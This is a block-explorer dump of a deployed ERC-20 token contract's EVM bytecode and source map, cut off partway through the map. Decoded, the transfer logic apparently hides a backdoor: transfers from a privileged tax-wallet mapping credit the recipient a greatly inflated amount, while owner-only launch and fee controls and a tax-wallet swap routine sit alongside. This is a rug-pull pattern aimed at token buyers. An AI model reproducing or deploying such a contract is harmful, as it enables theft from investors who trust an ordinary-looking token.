0x6080604052600436106101395760003560e01c8063715018a6116100ab5780638f9a55c01161006f5780638f9a55c01461035c57806395d89b4114610372578063a9059cbb1461039e578063bf474bed146103be578063c876d0b9146103d4578063dd62ed3e146103f557600080fd5b8063715018a6146102d457806372333356146102e9578063751039fc146103095780637d1db4a51461031e5780638da5cb5b1461033457600080fd5b806323b872dd116100fd57806323b872dd146101ff578063293230b81461021f578063313ce5671461023457806351bc3c85146102505780635342acb41461026557806370a082311461029e57600080fd5b806306fdde0314610145578063095ea7b31461018c5780630faee56f146101bc57806312e2bda2146101e057806318160ddd146101ea57600080fd5b3661014057005b600080fd5b34801561015157600080fd5b5060408051808201909152600c81526b16995d08141c9bdd1bd8dbdb60a21b60208201525b604051610183919061179f565b60405180910390f35b34801561019857600080fd5b506101ac6101a7366004611802565b61043b565b6040519015158152602001610183565b3480156101c857600080fd5b506101d260175481565b604051908152602001610183565b6101e8610452565b005b3480156101f657600080fd5b506101d26107ea565b34801561020b57600080fd5b506101ac61021a36600461182e565b61080b565b34801561022b57600080fd5b506101e861086f565b34801561024057600080fd5b5060405160098152602001610183565b34801561025c57600080fd5b506101e86108ac565b34801561027157600080fd5b506101ac61028036600461186f565b6001600160a01b031660009081526019602052604090205460ff1690565b3480156102aa57600080fd5b506101d26102b936600461186f565b6001600160a01b031660009081526006602052604090205490565b3480156102e057600080fd5b506101e86108eb565b3480156102f557600080fd5b506101e861030436600461188c565b61095f565b34801561031557600080fd5b506101e86109c7565b34801561032a57600080fd5b506101d260145481565b34801561034057600080fd5b506000546040516001600160a01b039091168152602001610183565b34801561036857600080fd5b506101d260155481565b34801561037e57600080fd5b5060408051808201909152600381526216915560ea1b6020820152610176565b3480156103aa57600080fd5b506101ac6103b9366004611802565b610a86565b3480156103ca57600080fd5b506101d260165481565b3480156103e057600080fd5b506002546101ac90600160a01b900460ff1681565b34801561040157600080fd5b506101d26104103660046118ae565b6001600160a01b03918216600090815260076020908152604080832093909416825291909152205490565b6000610448338484610a93565b5060015b92915050565b6000546001600160a01b031633146104855760405162461bcd60e51b815260040161047c906118e7565b60405180910390fd5b60185460ff16156104d85760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161047c565b600180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556105269030906105136009600a611a16565b61052190633b9aca00611a25565b610a93565b6005546001600160a01b03908116600090815260196020908152604091829020805460ff1916600190811790915554825163c45a015560e01b8152925193169263c45a01559260048082019392918290030181865afa15801561058d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105b19190611a3c565b6001600160a01b031663c9c6539630600160009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610613573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106379190611a3c565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610684573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106a89190611a3c565b600280546001600160a01b039283166001600160a01b03199091161790556001541663f305d71934306106f0816001600160a01b031660009081526006602052604090205490565b6000806107056000546001600160a01b031690565b426040518863ffffffff1660e01b815260040161072796959493929190611a59565b60606040518083038185885af1158015610745573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061076a9190611a94565b505060025460015460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af11580156107c3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107e79190611ac2565b50565b60006107f86009600a611a16565b61080690633b9aca00611a25565b905090565b6000610818848484610bb7565b610865843361052185604051806060016040528060288152602001611bcd602891396001600160a01b038a16600090815260076020908152604080832033845290915290205491906112ba565b5060019392505050565b6000546001600160a01b031633146108995760405162461bcd60e51b815260040161047c906118e7565b6018805462ff00ff191662010001179055565b6003546001600160a01b0316336001600160a01b0316146108cc57600080fd5b3060009081526006602052604090205480156107e7576107e7816112f4565b6000546001600160a01b031633146109155760405162461bcd60e51b815260040161047c906118e7565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146109895760405162461bcd60e51b815260040161047c906118e7565b60006109958284611ae4565b9050600c5481111580156109ab5750600d548111155b6109b457600080fd5b600e92909255600f55600c819055600d55565b6000546001600160a01b031633146109f15760405162461bcd60e51b815260040161047c906118e7565b6109fd6009600a611a16565b610a0b90633b9aca00611a25565b601455610a1a6009600a611a16565b610a2890633b9aca00611a25565b6015556002805460ff60a01b191690557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf610a656009600a611a16565b610a7390633b9aca00611a25565b60405190815260200160405180910390a1565b6000610448338484610bb7565b6001600160a01b038316610af55760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161047c565b6001600160a01b038216610b565760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161047c565b6001600160a01b0383811660008181526007602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c1b5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161047c565b6001600160a01b038216610c7d5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161047c565b60008111610cdf5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161047c565b6001600160a01b03831660009081526008602052604090205460ff16158015610d2157506001600160a01b03821660009081526008602052604090205460ff16155b15610d6e5760185460ff16610d6e5760405162461bcd60e51b8152602060048201526013602482015272151c98591a5b99c81b9bdd08195b98589b1959606a1b604482015260640161047c565b600080546001600160a01b03858116911614801590610d9b57506000546001600160a01b03848116911614155b8015610db057506001600160a01b0384163014155b1561111557600254600160a01b900460ff1615610ea1576001546001600160a01b03848116911614801590610df357506002546001600160a01b03848116911614155b15610ea157326000908152600960205260409020544311610e8e5760405162461bcd60e51b815260206004820152604960248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b6064820152681030b63637bbb2b21760b91b608482015260a40161047c565b3260009081526009602052604090204390555b6002546001600160a01b038581169116148015610ecc57506001546001600160a01b03848116911614155b8015610ef157506001600160a01b03831660009081526008602052604090205460ff16155b1561100757601454821115610f485760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e00000000000000604482015260640161047c565b610f746064610f6e60105460135411610f6357600a54610f67565b600c545b85906113ca565b90611453565b905060155482610f99856001600160a01b031660009081526006602052604090205490565b610fa39190611ae4565b1115610ff15760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161047c565b6013805490600061100183611af7565b91905055505b6002546001600160a01b03848116911614801561102d57506001600160a01b0384163014155b1561105a576110576064610f6e6011546013541161104d57600b54610f67565b600d5485906113ca565b90505b30600090815260066020526040902054601854610100900460ff1615801561108f57506002546001600160a01b038581169116145b80156110b457506001600160a01b03851660009081526008602052604090205460ff16155b80156110c8575060185462010000900460ff165b80156110d5575060165481115b80156110e2575060165483115b80156110f15750601254601354115b156111135761111361110e8461110984601754611495565b611495565b6112f4565b505b801561118f573060009081526006602052604090205461113590826114aa565b30600081815260066020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906111869085815260200190565b60405180910390a35b6001600160a01b0384166000908152600660205260409020546111b29083611509565b6001600160a01b0385166000908152600660205260409020556111f76111d88383611509565b6001600160a01b038516600090815260066020526040902054906114aa565b6001600160a01b038416600090815260066020526040902055611232846001600160a01b031660009081526019602052604090205460ff1690565b1561126a576112506112466009600a611a16565b6111d89084611a25565b6001600160a01b0384166000908152600660205260409020555b6001600160a01b038084169085167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6112a38585611509565b60405190815260200160405180910390a350505050565b600081848411156112de5760405162461bcd60e51b815260040161047c919061179f565b5060006112eb8486611b10565b95945050505050565b6018805461ff001916610100179055600f546000906002906113169084611a25565b6113209190611b23565b9050600061132e8284611b10565b90506113398161154b565b600f54600e54479160009161134e9190611ae4565b600e5461135b9084611a25565b6113659190611b23565b905080156113b8576003546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156113a7573d6000803e3d6000fd5b5083156113b8576113b884476116a5565b50506018805461ff0019169055505050565b6000826000036113dc5750600061044c565b60006113e88385611a25565b9050826113f58583611b23565b1461144c5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161047c565b9392505050565b600061144c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611771565b60008183116114a4578261144c565b50919050565b6000806114b78385611ae4565b90508381101561144c5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161047c565b600061144c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506112ba565b604080516002808252606082018352600092602083019080368337019050509050308160008151811061158057611580611b45565b6001600160a01b03928316602091820292909201810191909152600154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156115d9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115fd9190611a3c565b8160018151811061161057611610611b45565b6001600160a01b0392831660209182029290920101526001546116369130911684610a93565b60015460405163791ac94760e01b81526001600160a01b039091169063791ac9479061166f908590600090869030904290600401611b5b565b600060405180830381600087803b15801561168957600080fd5b505af115801561169d573d6000803e3d6000fd5b505050505050565b6001543060009081526007602090815260408083206001600160a01b0390941683529290522054828110156116ee576001546116ee9030906001600160a01b0316600019610a93565b60015460035460405163f305d71960e01b81526001600160a01b039283169263f305d71992869261172e9230928a92600092839216904290600401611a59565b60606040518083038185885af115801561174c573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061169d9190611a94565b600081836117925760405162461bcd60e51b815260040161047c919061179f565b5060006112eb8486611b23565b600060208083528351808285015260005b818110156117cc578581018301518582016040015282016117b0565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146107e757600080fd5b6000806040838503121561181557600080fd5b8235611820816117ed565b946020939093013593505050565b60008060006060848603121561184357600080fd5b833561184e816117ed565b9250602084013561185e816117ed565b929592945050506040919091013590565b60006020828403121561188157600080fd5b813561144c816117ed565b6000806040838503121561189f57600080fd5b50508035926020909101359150565b600080604083850312156118c157600080fd5b82356118cc816117ed565b915060208301356118dc816117ed565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561196d5781600019048211156119535761195361191c565b8085161561196057918102915b93841c9390800290611937565b509250929050565b6000826119845750600161044c565b816119915750600061044c565b81600181146119a757600281146119b1576119cd565b600191505061044c565b60ff8411156119c2576119c261191c565b50506001821b61044c565b5060208310610133831016604e8410600b84101617156119f0575081810a61044c565b6119fa8383611932565b8060001904821115611a0e57611a0e61191c565b029392505050565b600061144c60ff841683611975565b808202811582820484141761044c5761044c61191c565b600060208284031215611a4e57600080fd5b815161144c816117ed565b6001600160a01b039687168152602081019590955260408501939093526060840191909152909216608082015260a081019190915260c00190565b600080600060608486031215611aa957600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611ad457600080fd5b8151801515811461144c57600080fd5b8082018082111561044c5761044c61191c565b600060018201611b0957611b0961191c565b5060010190565b8181038181111561044c5761044c61191c565b600082611b4057634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611bab5784516001600160a01b031683529383019391830191600101611b86565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212203fae43e2972583a3066cac7dec0bb8b56177fda9081542a3067cf4721cf28a3864736f6c63430008130033

Deployed Bytecode Sourcemap

3611:10165:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6117:83;;;;;;;;;;-1:-1:-1;6187:5:0;;;;;;;;;;;;-1:-1:-1;;;6187:5:0;;;;6117:83;;;;;;;:::i;:::-;;;;;;;;6950:161;;;;;;;;;;-1:-1:-1;6950:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;6950:161:0;1023:187:1;5419:41:0;;;;;;;;;;;;;;;;;;;1361:25:1;;;1349:2;1334:18;5419:41:0;1215:177:1;12179:649:0;;;:::i;:::-;;6394:95;;;;;;;;;;;;;:::i;7119:313::-;;;;;;;;;;-1:-1:-1;7119:313:0;;;;;:::i;:::-;;:::i;13458:109::-;;;;;;;;;;;;;:::i;6303:83::-;;;;;;;;;;-1:-1:-1;6303:83:0;;4430:1;2000:36:1;;1988:2;1973:18;6303:83:0;1858:184:1;12873:228:0;;;;;;;;;;;;;:::i;7783:124::-;;;;;;;;;;-1:-1:-1;7783:124:0;;;;;:::i;:::-;-1:-1:-1;;;;;7871:28:0;7847:4;7871:28;;;:19;:28;;;;;;;;;7783:124;6497:119;;;;;;;;;;-1:-1:-1;6497:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6590:18:0;6563:7;6590:18;;;:9;:18;;;;;;;6497:119;2692:148;;;;;;;;;;;;;:::i;13109:341::-;;;;;;;;;;-1:-1:-1;13109:341:0;;;;;:::i;:::-;;:::i;13575:196::-;;;;;;;;;;;;;:::i;5203:49::-;;;;;;;;;;;;;;;;2476:79;;;;;;;;;;-1:-1:-1;2514:7:0;2541:6;2476:79;;-1:-1:-1;;;;;2541:6:0;;;2698:51:1;;2686:2;2671:18;2476:79:0;2552:203:1;5279:51:0;;;;;;;;;;;;;;;;6208:87;;;;;;;;;;-1:-1:-1;6280:7:0;;;;;;;;;;;;-1:-1:-1;;;6280:7:0;;;;6208:87;;6624:167;;;;;;;;;;-1:-1:-1;6624:167:0;;;;;:::i;:::-;;:::i;5357:55::-;;;;;;;;;;;;;;;;3795:39;;;;;;;;;;-1:-1:-1;3795:39:0;;;;-1:-1:-1;;;3795:39:0;;;;;;6799:143;;;;;;;;;;-1:-1:-1;6799:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6907:18:0;;;6880:7;6907:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6799:143;6950:161;7025:4;7042:39;311:10;7065:7;7074:6;7042:8;:39::i;:::-;-1:-1:-1;7099:4:0;6950:161;;;;;:::o;12179:649::-;2603:6;;-1:-1:-1;;;;;2603:6:0;311:10;2603:22;2595:67;;;;-1:-1:-1;;;2595:67:0;;;;;;;:::i;:::-;;;;;;;;;12251:11:::1;::::0;::::1;;12250:12;12242:47;;;::::0;-1:-1:-1;;;12242:47:0;;3716:2:1;12242:47:0::1;::::0;::::1;3698:21:1::0;3755:2;3735:18;;;3728:30;3794:25;3774:18;;;3767:53;3837:18;;12242:47:0::1;3514:347:1::0;12242:47:0::1;12300:15;:80:::0;;-1:-1:-1;;;;;;12300:80:0::1;12337:42;12300:80:::0;;::::1;::::0;;;12391:58:::1;::::0;12408:4:::1;::::0;4489:13:::1;4430:1;4489:2;:13;:::i;:::-;4473:29;::::0;:13:::1;:29;:::i;:::-;12391:8;:58::i;:::-;12471:10;::::0;-1:-1:-1;;;;;12471:10:0;;::::1;12451:31;::::0;;;:19:::1;:31;::::0;;;;;;;;:38;;-1:-1:-1;;12451:38:0::1;12485:4;12451:38:::0;;::::1;::::0;;;12534:15;:25;;-1:-1:-1;;;12534:25:0;;;;:15;::::1;::::0;:23:::1;::::0;:25:::1;::::0;;::::1;::::0;12451:31;12534:25;;;;;;:15;:25:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;12516:55:0::1;;12580:4;12587:15;;;;;;;;;-1:-1:-1::0;;;;;12587:15:0::1;-1:-1:-1::0;;;;;12587:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12516:94;::::0;-1:-1:-1;;;;;;12516:94:0::1;::::0;;;;;;-1:-1:-1;;;;;6040:15:1;;;12516:94:0::1;::::0;::::1;6022:34:1::0;6092:15;;6072:18;;;6065:43;5957:18;;12516:94:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12500:13;:110:::0;;-1:-1:-1;;;;;12500:110:0;;::::1;-1:-1:-1::0;;;;;;12500:110:0;;::::1;;::::0;;;12621:15;::::1;:31;12660:9;12679:4;12685:24;12679:4:::0;-1:-1:-1;;;;;6590:18:0;6563:7;6590:18;;;:9;:18;;;;;;;6497:119;12685:24:::1;12710:1;12712::::0;12714:7:::1;2514::::0;2541:6;-1:-1:-1;;;;;2541:6:0;;2476:79;12714:7:::1;12722:15;12621:117;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;12756:13:0::1;::::0;;12787:15;12749:71:::1;::::0;-1:-1:-1;;;12749:71:0;;-1:-1:-1;;;;;12787:15:0;;::::1;12749:71;::::0;::::1;7216:51:1::0;-1:-1:-1;;7283:18:1;;;7276:34;12756:13:0;::::1;::::0;-1:-1:-1;12749:29:0::1;::::0;7189:18:1;;12749:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;12179:649::o:0;6394:95::-;6447:7;4489:13;4430:1;4489:2;:13;:::i;:::-;4473:29;;:13;:29;:::i;:::-;6467:14;;6394:95;:::o;7119:313::-;7217:4;7234:36;7244:6;7252:9;7263:6;7234:9;:36::i;:::-;7281:121;7290:6;311:10;7312:89;7350:6;7312:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7312:19:0;;;;;;:11;:19;;;;;;;;311:10;7312:33;;;;;;;;;;:37;:89::i;7281:121::-;-1:-1:-1;7420:4:0;7119:313;;;;;:::o;13458:109::-;2603:6;;-1:-1:-1;;;;;2603:6:0;311:10;2603:22;2595:67;;;;-1:-1:-1;;;2595:67:0;;;;;;;:::i;:::-;13512:11:::1;:18:::0;;-1:-1:-1;;13541:18:0;;;;;13458:109::o;12873:228::-;12937:10;;-1:-1:-1;;;;;12937:10:0;311;-1:-1:-1;;;;;12923:24:0;;12915:33;;;;;;12998:4;12959:20;6590:18;;;:9;:18;;;;;;13018:14;;13015:71;;13046:28;13061:12;13046:14;:28::i;2692:148::-;2603:6;;-1:-1:-1;;;;;2603:6:0;311:10;2603:22;2595:67;;;;-1:-1:-1;;;2595:67:0;;;;;;;:::i;:::-;2799:1:::1;2783:6:::0;;2762:40:::1;::::0;-1:-1:-1;;;;;2783:6:0;;::::1;::::0;2762:40:::1;::::0;2799:1;;2762:40:::1;2830:1;2813:19:::0;;-1:-1:-1;;;;;;2813:19:0::1;::::0;;2692:148::o;13109:341::-;2603:6;;-1:-1:-1;;;;;2603:6:0;311:10;2603:22;2595:67;;;;-1:-1:-1;;;2595:67:0;;;;;;;:::i;:::-;13199:16:::1;13218:27;13233:12:::0;13218;:27:::1;:::i;:::-;13199:46;;13272:12;;13262:8;:22;;:49;;;;;13298:13;;13287:8;:24;;13262:49;13254:58;;;::::0;::::1;;13321:13;:28:::0;;;;13358:6:::1;:21:::0;13388:12:::1;:22:::0;;;13419:13:::1;:23:::0;13109:341::o;13575:196::-;2603:6;;-1:-1:-1;;;;;2603:6:0;311:10;2603:22;2595:67;;;;-1:-1:-1;;;2595:67:0;;;;;;;:::i;:::-;4489:13:::1;4430:1;4489:2;:13;:::i;:::-;4473:29;::::0;:13:::1;:29;:::i;:::-;13628:12;:22:::0;4489:13:::1;4430:1;4489:2;:13;:::i;:::-;4473:29;::::0;:13:::1;:29;:::i;:::-;13661:14;:22:::0;13694:20:::1;:26:::0;;-1:-1:-1;;;;13694:26:0::1;::::0;;13736:27:::1;4489:13;4430:1;4489:2;:13;:::i;:::-;4473:29;::::0;:13:::1;:29;:::i;:::-;13736:27;::::0;1361:25:1;;;1349:2;1334:18;13736:27:0::1;;;;;;;13575:196::o:0;6624:167::-;6702:4;6719:42;311:10;6743:9;6754:6;6719:9;:42::i;7440:335::-;-1:-1:-1;;;;;7533:19:0;;7525:68;;;;-1:-1:-1;;;7525:68:0;;7935:2:1;7525:68:0;;;7917:21:1;7974:2;7954:18;;;7947:30;8013:34;7993:18;;;7986:62;-1:-1:-1;;;8064:18:1;;;8057:34;8108:19;;7525:68:0;7733:400:1;7525:68:0;-1:-1:-1;;;;;7612:21:0;;7604:68;;;;-1:-1:-1;;;7604:68:0;;8340:2:1;7604:68:0;;;8322:21:1;8379:2;8359:18;;;8352:30;8418:34;8398:18;;;8391:62;-1:-1:-1;;;8469:18:1;;;8462:32;8511:19;;7604:68:0;8138:398:1;7604:68:0;-1:-1:-1;;;;;7683:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7735:32;;1361:25:1;;;7735:32:0;;1334:18:1;7735:32:0;;;;;;;7440:335;;;:::o;7915:2667::-;-1:-1:-1;;;;;8003:18:0;;7995:68;;;;-1:-1:-1;;;7995:68:0;;8743:2:1;7995:68:0;;;8725:21:1;8782:2;8762:18;;;8755:30;8821:34;8801:18;;;8794:62;-1:-1:-1;;;8872:18:1;;;8865:35;8917:19;;7995:68:0;8541:401:1;7995:68:0;-1:-1:-1;;;;;8082:16:0;;8074:64;;;;-1:-1:-1;;;8074:64:0;;9149:2:1;8074:64:0;;;9131:21:1;9188:2;9168:18;;;9161:30;9227:34;9207:18;;;9200:62;-1:-1:-1;;;9278:18:1;;;9271:33;9321:19;;8074:64:0;8947:399:1;8074:64:0;8166:1;8157:6;:10;8149:64;;;;-1:-1:-1;;;8149:64:0;;9553:2:1;8149:64:0;;;9535:21:1;9592:2;9572:18;;;9565:30;9631:34;9611:18;;;9604:62;-1:-1:-1;;;9682:18:1;;;9675:39;9731:19;;8149:64:0;9351:405:1;8149:64:0;-1:-1:-1;;;;;8229:24:0;;;;;;:18;:24;;;;;;;;8228:25;:52;;;;-1:-1:-1;;;;;;8258:22:0;;;;;;:18;:22;;;;;;;;8257:23;8228:52;8224:128;;;8305:11;;;;8297:43;;;;-1:-1:-1;;;8297:43:0;;9963:2:1;8297:43:0;;;9945:21:1;10002:2;9982:18;;;9975:30;-1:-1:-1;;;10021:18:1;;;10014:49;10080:18;;8297:43:0;9761:343:1;8297:43:0;8362:17;2541:6;;-1:-1:-1;;;;;8396:15:0;;;2541:6;;8396:15;;;;:32;;-1:-1:-1;2514:7:0;2541:6;-1:-1:-1;;;;;8415:13:0;;;2541:6;;8415:13;;8396:32;:57;;;;-1:-1:-1;;;;;;8432:21:0;;8448:4;8432:21;;8396:57;8392:1744;;;8474:20;;-1:-1:-1;;;8474:20:0;;;;8470:508;;;8535:15;;-1:-1:-1;;;;;8521:30:0;;;8535:15;;8521:30;;;;:62;;-1:-1:-1;8569:13:0;;-1:-1:-1;;;;;8555:28:0;;;8569:13;;8555:28;;8521:62;8517:444;;;8675:9;8646:39;;;;:28;:39;;;;;;8719:12;-1:-1:-1;8610:250:0;;;;-1:-1:-1;;;8610:250:0;;10311:2:1;8610:250:0;;;10293:21:1;10350:2;10330:18;;;10323:30;10389:34;10369:18;;;10362:62;10460:34;10440:18;;;10433:62;-1:-1:-1;;;10511:19:1;;;10504:40;10561:19;;8610:250:0;10109:477:1;8610:250:0;8914:9;8885:39;;;;:28;:39;;;;;8927:12;8885:54;;8517:444;9006:13;;-1:-1:-1;;;;;8998:21:0;;;9006:13;;8998:21;:55;;;;-1:-1:-1;9037:15:0;;-1:-1:-1;;;;;9023:30:0;;;9037:15;;9023:30;;8998:55;:83;;;;-1:-1:-1;;;;;;9059:22:0;;;;;;:18;:22;;;;;;;;9057:24;8998:83;8994:420;;;9121:12;;9111:6;:22;;9103:60;;;;-1:-1:-1;;;9103:60:0;;10793:2:1;9103:60:0;;;10775:21:1;10832:2;10812:18;;;10805:30;10871:27;10851:18;;;10844:55;10916:18;;9103:60:0;10591:349:1;9103:60:0;9194:76;9266:3;9194:67;9216:15;;9206:9;;:25;9205:55;;9246:14;;9205:55;;;9233:12;;9205:55;9194:6;;:10;:67::i;:::-;:71;;:76::i;:::-;9182:88;;9323:14;;9313:6;9297:13;9307:2;-1:-1:-1;;;;;6590:18:0;6563:7;6590:18;;;:9;:18;;;;;;;6497:119;9297:13;:22;;;;:::i;:::-;:40;;9289:79;;;;-1:-1:-1;;;9289:79:0;;11147:2:1;9289:79:0;;;11129:21:1;11186:2;11166:18;;;11159:30;11225:28;11205:18;;;11198:56;11271:18;;9289:79:0;10945:350:1;9289:79:0;9387:9;:11;;;:9;:11;;;:::i;:::-;;;;;;8994:420;9451:13;;-1:-1:-1;;;;;9445:19:0;;;9451:13;;9445:19;:43;;;;-1:-1:-1;;;;;;9468:20:0;;9483:4;9468:20;;9445:43;9442:174;;;9521:79;9596:3;9521:70;9543:16;;9533:9;;:26;9532:58;;9575:15;;9532:58;;;9561:13;;9521:6;;:10;:70::i;:79::-;9509:91;;9442:174;9681:4;9632:28;6590:18;;;:9;:18;;;;;;9725:6;;;;;;;9724:7;:50;;;;-1:-1:-1;9761:13:0;;-1:-1:-1;;;;;9753:21:0;;;9761:13;;9753:21;9724:50;:97;;;;-1:-1:-1;;;;;;9797:24:0;;;;;;:18;:24;;;;;;;;9796:25;9724:97;:129;;;;-1:-1:-1;9842:11:0;;;;;;;9724:129;:189;;;;;9896:17;;9875:20;:38;9724:189;:235;;;;;9942:17;;9935:6;:24;9724:235;:284;;;;;9990:18;;9980:9;;:28;9724:284;9702:423;;;10044:65;10059:49;10063:6;10070:37;10074:20;10095:11;;10070:3;:37::i;:::-;10059:3;:49::i;:::-;10044:14;:65::i;:::-;8455:1681;8392:1744;10151:11;;10148:161;;10219:4;10201:24;;;;:9;:24;;;;;;:39;;10230:9;10201:28;:39::i;:::-;10194:4;10176:24;;;;:9;:24;;;;;;;:64;;;;10258:39;;-1:-1:-1;;;;;10258:39:0;;;;;;;10287:9;1361:25:1;;1349:2;1334:18;;1215:177;10258:39:0;;;;;;;;10148:161;-1:-1:-1;;;;;10335:15:0;;;;;;:9;:15;;;;;;:27;;10355:6;10335:19;:27::i;:::-;-1:-1:-1;;;;;10319:15:0;;;;;;:9;:15;;;;;:43;10387:40;10405:21;:6;10416:9;10405:10;:21::i;:::-;-1:-1:-1;;;;;10387:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;10373:13:0;;;;;;:9;:13;;;;;:54;10433:23;10451:4;-1:-1:-1;;;;;7871:28:0;7847:4;7871:28;;;:19;:28;;;;;;;;;7783:124;10433:23;10429:88;;;10474:43;10501:15;4430:1;10501:2;:15;:::i;:::-;10492:24;;:6;:24;:::i;10474:43::-;-1:-1:-1;;;;;10458:13:0;;;;;;:9;:13;;;;;:59;10429:88;-1:-1:-1;;;;;10533:41:0;;;;;;;10552:21;:6;10563:9;10552:10;:21::i;:::-;10533:41;;1361:25:1;;;1349:2;1334:18;10533:41:0;;;;;;;7984:2598;7915:2667;;;:::o;1368:190::-;1454:7;1490:12;1482:6;;;;1474:29;;;;-1:-1:-1;;;1474:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1514:9:0;1526:5;1530:1;1526;:5;:::i;:::-;1514:17;1368:190;-1:-1:-1;;;;;1368:190:0:o;10696:521::-;5717:6;:13;;-1:-1:-1;;5717:13:0;;;;;10795:6:::1;::::0;5717:13;;10805:1:::1;::::0;10786:15:::1;::::0;:6;:15:::1;:::i;:::-;10785:21;;;;:::i;:::-;10766:40:::0;-1:-1:-1;10815:18:0::1;10836:17;10766:40:::0;10836:6;:17:::1;:::i;:::-;10815:38;;10862:29;10880:10;10862:16;:29::i;:::-;11023:6;::::0;11007:13:::1;::::0;10921:21:::1;::::0;10900:18:::1;::::0;11007:22:::1;::::0;11023:6;11007:22:::1;:::i;:::-;10989:13;::::0;10976:26:::1;::::0;:10;:26:::1;:::i;:::-;10975:55;;;;:::i;:::-;10951:79:::0;-1:-1:-1;11042:17:0;;11039:171:::1;;11071:10;::::0;:34:::1;::::0;-1:-1:-1;;;;;11071:10:0;;::::1;::::0;:34;::::1;;;::::0;11091:13;;11071:10:::1;:34:::0;:10;:34;11091:13;11071:10;:34;::::1;;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;11120:12:0;;11116:85:::1;;11144:45;11157:8;11167:21;11144:12;:45::i;:::-;-1:-1:-1::0;;5753:6:0;:14;;-1:-1:-1;;5753:14:0;;;-1:-1:-1;;;10696:521:0:o;1566: